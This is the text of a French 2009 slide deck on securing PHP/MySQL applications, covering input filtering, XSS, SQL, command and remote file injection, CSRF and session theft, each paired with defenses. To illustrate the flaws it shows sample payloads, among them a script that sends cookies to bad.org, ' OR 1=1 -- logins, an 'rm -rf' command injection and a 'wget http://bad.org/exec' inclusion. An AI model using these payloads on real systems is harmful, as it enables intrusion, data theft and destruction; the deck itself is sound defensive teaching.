ADF 2009 Sécurisation d applications PHP/MySQL



Documents pareils
Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

PHP et les Bases de données - Généralités

Serveurs de noms Protocoles HTTP et FTP

PHP CLÉS EN MAIN. 76 scripts efficaces pour enrichir vos sites web. par William Steinmetz et Brian Ward

L3 informatique TP n o 2 : Les applications réseau

SERVEUR HTTP Administration d apache

Audit Sécurité vendredi 13 novembre

Serveur Web Apache - SSL - PHP Debian GNU/Linux

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

Aide-mémoire minimal pour la sécurité en PHP François Gannaz

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

Stockage du fichier dans une table mysql:

PHP 4 PARTIE : BASE DE DONNEES

Pratique et administration des systèmes

Attaques applicatives

PHP et mysql. Code: php_mysql. Olivier Clavel - Daniel K. Schneider - Patrick Jermann - Vivian Synteta Version: 0.9 (modifié le 13/3/01 par VS)

Vulnérabilités et sécurisation des applications Web

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

Sécuriser les applications web de l entreprise

HTTP HTTP. IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin. Introduction et architecture Messages Authentification Conclusion

La programmation orientée objet Gestion de Connexions HTTP Manipulation de fichiers Transmission des données PHP/MySQL. Le langage PHP (2)

2011 Hakim Benameurlaine 1

(structure des entêtes)

Dans l'épisode précédent

HTTP. Technologies du Web. Programmation Web côté serveur. Mastère spécialisé Management et nouvelles technologies, 16 novembre 2009

GUIDE D INSTALLATION DE L APPLICATION GECOL SUR

Installation d OwnCloud 8.0 sous Debian Avec connexion des utilisateurs active directory et mise en place de HTTPS

Protection des protocoles

CAHIER DES CHARGES SITE WEB : Steve Mind Magicien Close-up & Mentaliste - 1 -

CREATION WEB DYNAMIQUE

Procédure d'installation

Vulnérabilités et solutions de sécurisation des applications Web

PHP 5. La base de données MySql. A. Belaïd 1

Attaques de type. Brandon Petty

Résoudre les problèmes PHP, les meilleures (et les pires) techniques

L envoi d un formulaire par courriel. Configuration requise Mail Texte Mail HTML Check-list

Découverte d aesecure. Par Christophe Avonture, développeur d aesecure

Mysql avec EasyPhp. 1 er mars 2006

Présentation du relais HTTP Open Source Vulture. Arnaud Desmons Jérémie Jourdin

Déploiement d OCS 1.02 RC2 sous Debian Etch 64

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

Sécuriser les applications web

Installation GLPI-OCSNG-SSL Linux Debian Sarge

SERVEUR WEB LINUX LAMP. Raymond RAZAFIMAMONJY Administration LINUX / UNIX Chapitre 15

Sécurité des applications web. Daniel Boteanu

Protocoles Applicatifs

Logiciel : GLPI Version : SYNCRHONISATION DE GLPI AVEC ACTIVE DIRECTORY. Auteur : Claude SANTERO Config. : Windows 2003.

TP Service HTTP Serveur Apache Linux Debian

Gestion centralisée d un réseau de sites discrets. Nicolas JEAN

WEB APPLICATION FIREWALL AVEC APACHE ET MOD_SECURITY

Préparation d un serveur Apache pour Zend Framework

Module Com231A - Web et Bases de Données Notion 5 : Formulaires et utilisation des Bases de Données avec PHP

Keyyo Guide de mise en service CTI / API / TAPI Keyyo

Mise en oeuvre d un intranet à partir de logiciels Open Source avec intégration des certificats numériques et login unique

«Cachez-moi cette page!»

TP HTTP. Université Pierre Mendès France U.F.R. Sciences de l Homme et de la Société Master IC²A

TP JAVASCRIPT OMI4 TP5 SRC

WebSSO, synchronisation et contrôle des accès via LDAP

Présentation de la solution Open Source «Vulture» Version 2.0

INF8007 Langages de script

Modélisation PHP Orientée Objet pour les Projets Modèle MVC (Modèle Vue Contrôleur) Mini Framework

RFC 7230 : Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing

SYSTÈMES D INFORMATIONS

UE5A Administration Réseaux LP SIRI

La sécurité et Joomla!

Expérience d un hébergeur public dans la sécurisation des sites Web, CCK. Hinda Feriani Ghariani Samedi 2 avril 2005 Hammamet

Etude de la pertinence et de l'intérêt des appliances WAF (IPS web) à l'inria

Aide à la Détection de Faiblesses d un site Web Mandataire inverse, Modsecurity

Les serveurs WEBUne introduction

Mysql. Les requêtes préparées Prepared statements

REPARTITION DE CHARGE LINUX

Langage SQL (1) 4 septembre IUT Orléans. Introduction Le langage SQL : données Le langage SQL : requêtes

Technologies du Web. Créer et héberger un site Web. Pierre Senellart. Page 1 / 26 Licence de droits d usage

L installation a quelque peu changée depuis les derniers tutos, voici une actualisation.

1 Position du problème

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)

LAMP : une nouvelle infrastructure LAMP. Une architecture modulaire. Installation

OUAPI Guide d installation Outil d administration de parc informatique. Documentation d installation et de paramétrage

PHP 5.4 Développez un site web dynamique et interactif

APPLICATIONS WEB ET SECURITE

Comment avoir le logiciel? Le serveur web APACHE peut être téléchargé gratuitement du site web de APACHE:

Aide à la Détection de Faiblesse d'un site web

Installation d un hébergement Web à domicile

Le serveur web Apache

CASE-LINUX MAIL - ROUNDCUBE

Dossier Technique. Détail des modifications apportées à GRR. Détail des modifications apportées à GRR Le 17/07/2008. Page 1/10

Command Execution: File Inclusion : SQL injection :... 10

Les bonnes pratiques. de l hébergement d un CMS

Mandataires, caches et filtres

Développement des Systèmes d Information

INSTALLATION NG V2.1 D OCS INVENTORY. Procédure d utilisation. Auteur : GALLEGO Cédric 23/10/2014 N version : v1

Performance web. Mesurer. Analyser. Optimiser. Benjamin Lampérier - Benoît Goyheneche. RMLL Beauvais. 8 Juillet 2015

Plan Général Prévisionnel (1/2) (non contractuel) Internet et Outils L1/IO S2-IO2 Bases de données: Jointures, Transactions

Installation de Zabbix

Par l'exemple de. Laurent Destailleur

PHP. Bertrand Estellon. 26 avril Aix-Marseille Université. Bertrand Estellon (AMU) PHP 26 avril / 214

Transcription:

ADF 2009 Sécurisation d applications PHP/MySQL Magali Contensin contensin@ibdml.univ-mrs.fr

Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

1. Filtrer entrées / protéger sorties Application web entrées : données primaires et secondaires sorties fichiers Requête HTTP en-tête Réponse HTTP Application Web SGBD corps en-tête sessions corps texte ou binaire env.

1. Filtrer entrées / protéger sorties Envoi de données par GET Données placées dans - URL - cookies Requête HTTP GET GET /voyage.php?lieu=venise HTTP/1.1 Host: www.vacances.fr Cookie: lang=fr;id=214535e1fa User-Agent: Firefox en-tête corps vide corps

1. Filtrer entrées / protéger sorties Envoi de données par GET Données placées dans - URL - cookies voyage.php?lieu=venise Cookie: lang=fr;id=214535e1fa Envoi provoqué par : - action volontaire ou involontaire - navigateur (récupération images, css, scripts, ) - telnet port 80

1. Filtrer entrées / protéger sorties Entrées d un script PHP pour GET GET /voyage.php?lieu=venise HTTP/1.1 Host: www.vacances.fr User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_GET $_COOKIE $_SERVER

1. Filtrer entrées / protéger sorties Envoi de données par POST Données placées dans - Corps - URL - cookies Requête HTTP POST POST /reservation.php?id=2 HTTP/1.1 Host: www.vacances.fr Cookie: lang=fr;id=214535e1fa User-Agent: Firefox Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise en-tête corps

1. Filtrer entrées / protéger sorties Envoi de données par POST Données placées dans - Corps lieu=venise - URL reservation.php?id=2 - cookies Cookie: lang=fr;id=214535e1f Envoi provoqué par : - action volontaire ou involontaire - telnet port 80

1. Filtrer entrées / protéger sorties Entrées d un script PHP pour GET et POST GET /voyage.php?lieu=venise HTTP/1.1 Host: www.vacances.fr User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER POST /reservation.php?id=25 HTTP/1.1 Host: www.vacances.fr User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise

1. Filtrer entrées / protéger sorties Entrées d un script PHP pour GET et POST GET /voyage.php?lieu=venise HTTP/1.1 Host: www.vacances.fr User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER $_FILES POST /reservation.php?id=25 HTTP/1.1 Host: www.vacances.fr User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise POST

1. Filtrer entrées / protéger sorties Entrées d un script PHP GET /voyage.php?lieu=venise HTTP/1.1 Host: www.vacances.fr User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER $_FILES $_ENV POST /reservation.php?id=25 HTTP/1.1 Host: www.vacances.fr User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise POST

1. Filtrer entrées / protéger sorties Entrées d un script PHP GET /voyage.php?lieu=venise HTTP/1.1 Host: www.vacances.fr User-Agent: Firefox Cookie: lang=fr;id=214535e1fa $_REQUEST $_GET $_COOKIE $_POST $_SERVER $_FILES $_ENV $_SESSION POST /reservation.php?id=25 HTTP/1.1 Host: www.vacances.fr User-Agent: Firefox Cookie: lang=fr;id=214535e1fa Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise POST fichier session données secondaires

1. Filtrer entrées / protéger sorties Envoi de données malveillantes Modification d un formulaire Modification de la query string Requête forgée (telnet port 80, TamperData)

1. Filtrer entrées / protéger sorties Implications méthode HTTP différente de celle attendue champs en-tête HTTP modifiés (User-Agent) absence d arguments attendus arguments ajoutés = nouvelles variables si register_globals = on valeurs inattendues pour des arguments

1. Filtrer entrées / protéger sorties Données reçues peuvent être : stockées dans SGBD, fichier, session XSS stocké utilisées pour interroger un SGBD SQL Injection utilisées pour exécuter un programme Injection de commandes Ne jamais faire confiance aux données envoyées par le client

1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Données à vérifier $_GET, $_POST, $_COOKIE, $_REQUEST, $_FILES, $_SERVER, $_ENV et $_SESSION Contrôles à effectuer - type données : intval, ctype_*, cast - présence des données attendues - valeurs de nombres comprises entre deux bornes - taillemin < taille donnée < taillemax - jeu de caractères - valeur null autorisée ou non - select, radio, : valeur comprise dans une liste

1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Données à vérifier $_GET, $_POST, $_COOKIE, $_REQUEST, $_FILES, $_SERVER, $_ENV et $_SESSION Contrôles à effectuer Filtrage - liste blanche : Indique ce qui est autorisé - liste noire : Indique ce qui est interdit A éviter car plus permissif

1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Injections SQL : guillemets autour de la donnée mysql_real_escape_string($data) Injection null dans les chaînes, regexp Injection de commande (exec, system, ) escapeshellarg($data), escapeshellcommand($data)

1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers (file, readfile, unlink, include, upload, ) Vérification du chemin Suppression du chemin realpath($chemin) basename($chemin) <?php // script code.php header("content-type:text/plain"); $fichier = basename($_get["p"]); readfile($fichier);?> http://.../code.php?p=/etc/passwd

1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers (file, readfile, unlink, include, upload, ) File upload - Lire les données avec $_FILES - Manipuler avec move_uploaded_file - Renommer (ne pas utiliser le nom de fichier envoyé) - Vérifier le type du fichier (interdit l upload de scripts)

1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers Filtrer les sorties vers le client Définir le jeu de caractères de la page <meta http-equiv="content-type«content="text/html; charset=utf-8"/> Coder les caractères spéciaux htmlentities, htmlspecialchars(chaine, ENT_QUOTES)

1. Filtrer entrées / protéger sorties Actions à entreprendre du côté du programmeur Vérifier toute entrée Protéger les données passées à un interpréteur Protéger les opérations sur les fichiers Filtrer les sorties vers le client Initialiser les variables Récupérer les données par la méthode attendue Ne pas utiliser : extract, $_REQUEST, register_globals à on

1. Filtrer entrées / protéger sorties Actions à entreprendre du côté administrateur php.ini register_globals off <?php // login.php if (verifclient($_post['login'], $_POST['passwd'])){ $ok = true ; } if ($ok){ }?> http://.../login.php?ok=1

1. Filtrer entrées / protéger sorties Actions à entreprendre du côté administrateur php.ini register_globals off error_reporting E_ALL open_basedir arborescence_autorisee allow_url_fopen off disable_functions liste_fonctions_interdites magic_quotes_gpc off

1. Filtrer entrées / protéger sorties Actions à entreprendre du côté administrateur php.ini fichier automatiquement inclus (auto_prepend_file) : foreach($_post as $cle=>$val){ $_POST[$cle] = strip_tags($val); } mod_security attention à AllowOverride All ou Options autorise la modification de directives du php.ini dans un.htaccess

Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

2. Sécurité par l obscurité Informations données par Apache ServerSignature

2. Sécurité par l obscurité Informations données par Apache ServerTokens HTTP/1.1 200 OK HTTP/1.1 200 OK Date: Sat, 26 Apr 2008 22:54:37 GMT Server: Apache/2.0.55 (Unix) PHP/4.4.2 mod_ssl/2.0.55 OpenSSL/0.9.7a Connection: close Content-Type: text/html X-Powered-By: PHP/4.4.2 Connection closed by foreign host.

2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP 200 OK Connection: close Date: Sat, 26 Apr 2008 23:00:03 GMT Server: Apache Content-Type: text/html X-Powered-By: PHP/4.4.2

2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP crédits?=phpb8b5f2a0-3c92-11d3-a3a9-4c7b08c10000

2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP crédits images?=phpe9568f34-d428-11d2-a769-00aa001acf42?=phpe9568f35-d428-11d2-a769-00aa001acf42?=phpe9568f36-d428-11d2-a769-00aa001acf42

2. Sécurité par l obscurité Informations données par PHP expose_php réponse HTTP crédits images ext/standard/info.h : #define PHP_LOGO_GUID "PHPE9568F34-D428-11d2-A769-00AA001ACF42" #define PHP_EGG_LOGO_GUID "PHPE9568F36-D428-11d2-A769-00AA001ACF42" #define ZEND_LOGO_GUID "PHPE9568F35-D428-11d2-A769-00AA001ACF42" #define PHP_CREDITS_GUID "PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"

2. Sécurité par l obscurité Informations données par l extension.php Associer une autre extension AddType application/x-httpd-php.asp Parser.html AddType application/x-httpd-php.htm.html Application par défaut DefaultType application/x-httpd-php Réécriture rewriteengine on rewriterule (.+).html$ $1.php [L]

2. Sécurité par l obscurité Cookie de session session.name

2. Sécurité par l obscurité Affichage des erreurs Warning: sort() expects parameter 1 to be array, integer given in /web/crfb/test.php on line 7 error_reporting display_errors display_startup_errors log_errors error_log report_memleaks track_errors

2. Sécurité par l obscurité Attention aux modif. dans le.htaccess <Directory /web/crfb/pagesperso/magali/testerr> AllowOverride All </Directory>.htaccess php_flag display_errors on php_value directive valeur PHP_INI_PERDIR register_globals, variables_order, register_long_arrays, auto_append_files, auto_prepend_files, magic_quotes_gpc, post_max_size, upload_max_filesize, short_open_tags, asp_tags PHP_INI_ALL

2. Sécurité par l obscurité Attention aux modif. dans le.htaccess <Directory /web/crfb/pagesperso/magali/testerr> AllowOverride All </Directory>.htaccess php_flag display_errors on php_value upload_max_filesize 900M php_admin_flag display_errors on php_admin_value upload_max_filesize 10M

2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur http://www.vacances.fr/login.php~ <?php echo "bonjour ", $_GET['nom'];...?>

2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur

2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur

2. Sécurité par l obscurité Informations données par des fichiers non protégés sur le serveur <Files ~ "^\.ht ~$"> Order allow,deny RedirectMatch 404 ~$ Deny from all RedirectMatch 404 \.htaccess </Files>

2. Sécurité par l obscurité Informations données par les listings <Directory "/web/crfb/"> Options ExecCGI Indexes </Directory>

2. Sécurité par l obscurité Informations données par les logiciels

2. Sécurité par l obscurité Informations données par les logiciels restreindre accès (.htaccess ou sessions) configurer pour une info minimale interdire les fonctions php (disable_functions) php_uname, phpversion, mysql_get_server_info

2. Sécurité par l obscurité Informations données par php disable_functions = "phpinfo"

2. Sécurité par l obscurité Code source <?php show_source($_get['fichier'])?>

2. Sécurité par l obscurité Code source disable_functions = "show_source, highlight_file" open_basedir = "/web/:/tmp/"

2. Sécurité par l obscurité Code source http://crfbtest.univ-mrs.fr/~magali/test.phps # AddType application/x-httpd-php-source.phps AddType application/x-httpd-php.php.php3.php4.phps RedirectMatch 404 \.phps$

2. Sécurité par l obscurité Masquer Apache Apache 1.3 modifier httpd.h #define SERVER_BASEPRODUCT "Apache #define SERVER_BASEREVISION "1.3.34" Apache 2.0 modifier ap_release.h #define AP_SERVER_BASEVENDOR "Apache Software Foundation" #define AP_SERVER_BASEPRODUCT "Apache" #define AP_SERVER_MAJORVERSION_NUMBER 2 #define AP_SERVER_MINORVERSION_NUMBER 0 #define AP_SERVER_PATCHLEVEL_NUMBER 58

2. Sécurité par l obscurité Interdire l indexation fichier robots.txt User-agent: * Disallow: /cgi-bin/ Disallow: /docs/

2. Sécurité par l obscurité Interdire la mise en cache de données dans le navigateur Complétion formulaires <form action="valider.php" method="post"> <form action="valider.php" AUTOCOMPLETE="off" method="post">

2. Sécurité par l obscurité Interdire la mise en cache de données dans le navigateur Complétion formulaires Page web Pragma:no-cache HTTP/1.0 Cache-control:no-cache HTTP/1.1 Expires header("cache-control: no-cache"); header("pragma: no-cache"); header("expires: Thu, 01 Jan 1970 00:00:00 GMT");

2. Sécurité par l obscurité Masquer les données de connexion SGBD httpd.conf <Directory "/web/crfb/pagesperso/magali/testsiars"> Include /home/magali/connexion.txt </Directory> SetEnv dblogin "magali" SetEnv dbpass "m2pasmag" SetEnv dbbd "ma_base" SetEnv dbhost "127.0.0.1" <?php echo $_SERVER['dbLogin'];?> <?php system('cat /home/magali/connexion.txt');?>

2. Sécurité par l obscurité Masquer les données de connexion SGBD httpd.conf.htaccess

2. Sécurité par l obscurité Masquer les données de connexion SGBD httpd.conf.htaccess directives php mysql.default_user mysql.default_password mysql.default_port mysql.default_host get_cfg_var("mysql.default_password");

Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. Protection contre le XSS 4. Injections 5. CSRF 6. Détournement de sessions

3. Protection contre le XSS Attaque Stockée sur le serveur web XSS envoyé par le pirate nom Smith<script src=http://bad.org/c.js></script> mail john.smith@bad.org 1 Erreur 1 : XSS pas de vérification des entrées 2 Application Web Smith <script src=http://bad.org/c.js> </script> XSS SGBD <?php import_request_variables('g', 'f_'); $req = "INSERT INTO users (nom, mail) VALUES ('$f_nom', '$f_mail')" ; $res = mysql_query($req) or die("erreur"); echo "donnees inserees";?> 3

3. Protection contre le XSS Attaque Stockée sur le serveur web l accès à une ressource provoque l envoi du XSS au navigateur admin. 1 GET liste_inscrits.php XSS Application Web Smith <script src=http://bad.org/c.js> </script> XSS SGBD 3 Smith <script src=http://bad.org/c.js></script> john.smith@bad.org<br> Erreur 2 : pas de protection des sorties 2 <?php $req = "SELECT nom, mail FROM users"; $res = mysql_query($req) or die("erreur"); while ($ligne = mysql_fetch_assoc($res)){ echo $ligne['nom']," ",$ligne['mail'],"<br>"; }?>

3. Protection contre le XSS Attaque Stockée sur le serveur web le XSS est exécuté par le navigateur admin. 1 GET liste_inscrits.php 3 5 XSS Application Web Smith <script src=http://bad.org/c.js> </script> vol de session idsess=a2345effb9ccd78 6 2 XSS SGBD GET http://bad.org/c.js document.write( <img src=http://bad.org/c.php? +document.cookie+ width=1> ) 4 GET http://bad.org/c.php?idsess=a2345effb9ccd78 c.js bad.org

3. Protection contre le XSS Actions à entreprendre Filtrer les entrées (par liste blanche) éventuellement utiliser utf8_decode et strip_tags Préciser le jeu de caractères Protéger les sorties (htmlentities, htmlspecialchars) <?php $req = "SELECT nom, mail FROM users"; $res = mysql_query($req) or die("erreur"); while ($ligne = mysql_fetch_assoc($res)){ echo htmlentities($ligne['nom'], ENT_QUOTES), " ", htmlentites($ligne['mail'], ENT_QUOTES), "<br>"; }?> Smith <script src=http://bad.org/c.js></script> john.smith@bad.org<br>

Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. Protection contre le XSS 4. Protection contre les Injections 5. CSRF 6. Détournement de sessions

4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = 1 -- 1 POST http://.../cnx.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 Application Web 2 <?php... $login = $_POST['login']; $pwd = $_POST['passwd']; $req = "SELECT login, prenom FROM utilisateur WHERE login='$login' AND password='$pwd'"; $result = mysql_query($req) or exit("erreur"); if (mysql_num_rows($result) == 0){ die("erreur d'authentification "); } $ligne = mysql_fetch_assoc($result); echo "bonjour ", $ligne['prenom'], "!";?>

4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = 1 -- 1 POST http://.../cnx.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 2 SELECT login, prenom FROM utilisateur WHERE login='' OR 1 = 1 -- ' AND password='' Application Web SGBD

4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = 1 -- 1 POST http://.../cnx.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 24 login=%27+or+1+=+1+--%20 2 SELECT login, prenom FROM utilisateur WHERE login='' OR 1 = 1 -- ' AND password='' bonjour Magali! 4 Application Web 3 SGBD +-------+------------+ login prenom +-------+------------+ mag Magali admin Grand chef +-------+------------+

4. Protection contre les injections SQL magic_quotes_gpc = off ' OR 1 = 1 LIMIT 1,1 -- 1 POST http://.../cnx.php HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 36 login=%27+or+1+=+1+limit+1%2c1+--%20 bonjour Grand chef! 4 Application Web SELECT login, prenom FROM utilisateur WHERE login='' OR 1 = 1 LIMIT 1,1 -- ' AND password='' 2 3 SGBD +-------+------------+ login prenom +-------+------------+ mag Magali admin Grand chef +-------+------------+

4. Protection contre les injections SQL - actions à entreprendre côté programmeur protéger les données avec mysql_real_escape_string <?php... $login = $_POST['login']; $pwd = $_POST['passwd']; $req = "SELECT login, prenom FROM utilisateur WHERE login='". mysql_real_escape_string($login). "' AND password='". mysql_real_escape_string($pwd). "'"; $result = mysql_query($req) or exit("erreur"); if (mysql_num_rows($result) == 0){ die("erreur d'authentification "); } $ligne = mysql_fetch_assoc($result); echo "bonjour ", $ligne['prenom'], "!";?> ' OR 1 = 1 LIMIT 1,1 -- SELECT login, prenom FROM utilisateur WHERE login='\' OR 1 = \'1 LIMIT 1,1 -- ' AND password='';

4. Protection contre les injections SQL - actions à entreprendre côté programmeur protéger les données avec mysql_real_escape_string filtrer les entrées : taille, type,... cast des nombres ou mettre des ' ' autour des nombres $req = "UPDATE commande SET quantite = $nb WHERE ref=$ref";?ref=21&nb=5,%20desc=load%20infile('/etc/passwd') UPDATE commande SET quantite=5, desc=load INFILE('/etc/passwd') WHERE ref=21

4. Protection contre les injections SQL - actions à entreprendre côté programmeur protéger les données avec mysql_real_escape_string filtrer les entrées : taille, type,... cast des nombres ou mettre des ' ' autour des nombres utiliser des requêtes préparées $log = $_POST['login']; $log = $_POST['login']; $pwd = $_POST['passwd']; // connexion $db = new mysqli(ip, LOGIN, PASS, DB, PORT) or die('echec'); // preparer la requete $req = "SELECT prenom, mail FROM users WHERE login=? AND password=?"; $prep = $db->prepare($req) or die ('pb'); $prep->bind_param("ss", $log, $pwd); // lier les 2 var. de type string $prep->execute(); $prep->bind_result($prenom, $mail); // lier les colonnes aux var. $prep->fetch() ; echo "bonjour ", htmlentities($prenom), " votre mail est ", htmlentities($mail); $prep->close(); // deconnexion $db->close();

4. Protection contre les injections SQL - actions à entreprendre côté admin. magic_quotes_gpc aucun affichage d erreur sur un serveur en production privilèges restreints pour le compte mysql utilisé pour le web plusieurs instances de mysql avec mysqld_multi protéger les connexions entre le serveur web et le serveur SGBD

4. Protection contre les injections Commandes <?php echo system("ls -1 *.".$_GET['ext']);?> 1 listing.php /listing.php?ext=php;cd/;rm+-rf+* 2 ls -1 *.php;cd/;rm+-rf+* cnx.php index.php connectbase.php listing.php 3 4 / 5

4. Protection contre les injections Commandes - actions à entreprendre Développeur Filtrer les entrées if (!ctype_alpha($ext)){ die("argument non valide"); } Protéger des méta-caractères (escapeshellcmd, escapeshellarg) Administrateur Désactiver si possible system, exec, shell_exec (disable_functions)

4. Protection contre les injections Code (RFI Remote File Inclusion) exec bad.org GET bad.txt 3 bad.txt <?php echo system('cd /tmp; ls; wget http://bad.org/exec; ls');?> 5 2 test.php?p=http://bad.org/bad.txt%00 4 wget http://bad.org/exec 1 test.php <?php require($_get['p'].".php");?> <?php /tmp echo system('cd /tmp; ls; wget http://bad.org/exec; ls');?>

4. Protection contre les injections Code - actions à entreprendre Développeur Filtrer les entrées Chemin : utiliser basename, realpath Protéger des méta-caractères (escapeshellcmd, escapeshellarg) Administrateur Désactiver si possible eval (disable_functions) allow_url_fopen à off (allow_url_include depuis PHP 5.2.0) Utiliser curl Fixer le répertoire d inclusion avec open_basedir Filtrer les connexions sortantes sur le pare-feu

5. Protection contre les injections Null injection (caractère \0) <?php $fichier = basename($_get['nom']); readfile($fichier.".txt");?>?nom=nom_script.php%00 <?php if (preg_match("/[^a-za-z]/", $_GET['chaine'])){ die('erreur'); } else{ echo 'ok'; }?chaine=test1?>?chaine=%00test1 Actions à entreprendre Filtrer les entrées (méthode liste blanche)

Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

5. Protection contre le CSRF Ajouter un commentaire <img src='article.php?id=3&action=del' width='0'> <img src='article.php?id=3&action=del' width='0'> 1 membre d un site protégé 3 SGBD 2 GET article.php?id=3&action=read membre d un site protégé 4 <img src='article.php?id=3&action=del' width='0'> GET http://.../article.php?id=3&action=del

5. Protection contre le CSRF Actions à entreprendre Majorité des attaques = méthode GET Utiliser POST si mise à jour de données Ne pas utiliser $_REQUEST pour récupérer les données => Protège contre les attaques menées par GET Attaques utilisant POST Forcer l utilisation du formulaire du site (idée s assurer que les données reçues par POST proviennent bien d un formulaire envoyé par le site) => Utiliser un identifiant aléatoire pour chaque formulaire, stocké en session avec un délai de validité

Plan 1. Filtrer les entrées, protéger les sorties 2. Sécurité par l obscurité 3. XSS 4. Injections 5. CSRF 6. Détournement de sessions

6. Protection contre le vol de session Détourner une session = fournir un id valide 1 login=zorro&passwd=paszorro sessid=21000 Bonjour Zorro 2 3 sessid=21000 article=12&action=voir sessid=21000 article=5&action=supprimer

6. Protection contre le vol de session Détourner une session = fournir un id valide Identifiant transmis par cookie, URL, champ form. Attaques pour obtenir un identifiant valide Prédiction (id = nombre entier incrémenté) Force brute Fixation Vol o id dans l URL (historique, bookmark, logs, envoi par mail, ) o vol de cookie (XSS, ordinateur public) o interception (écoute réseau) o consultation des fichiers de session sur le serveur

6. Protection contre le vol de session Actions à entreprendre Développeur Générer un nouvel id de session après identification (session_regenerate_id) Limiter la durée de validité d une session Utiliser un 2 ème moyen de suivi de session (User-Agent) Toujours proposer une déconnexion Utiliser les identifiants de session PHP Administrateur session.use_only_cookies SSL protéger les fichiers de session (stocker dans SGBD, utiliser open_basedir)

Sur Internet Top 25 Most Dangerous Programming Errors http://cwe.mitre.org/top25 WASC (Web Application Security Consortium) http://www.webappsec.org/projects/threat/classes_of_attack.shtml OWASP (Open Web Application Security Project) http://www.owasp.org/index.php/category:owasp_top_ten_project http://www.owasp.org/index.php/category:owasp_guide_project CERTA (Centre d Expertise Gouvernemental de Réponse et de Traitement des Attaques Informatiques) http://www.certa.ssi.gouv.fr CERT (Computer Emergency Response Team) http://www.cert.org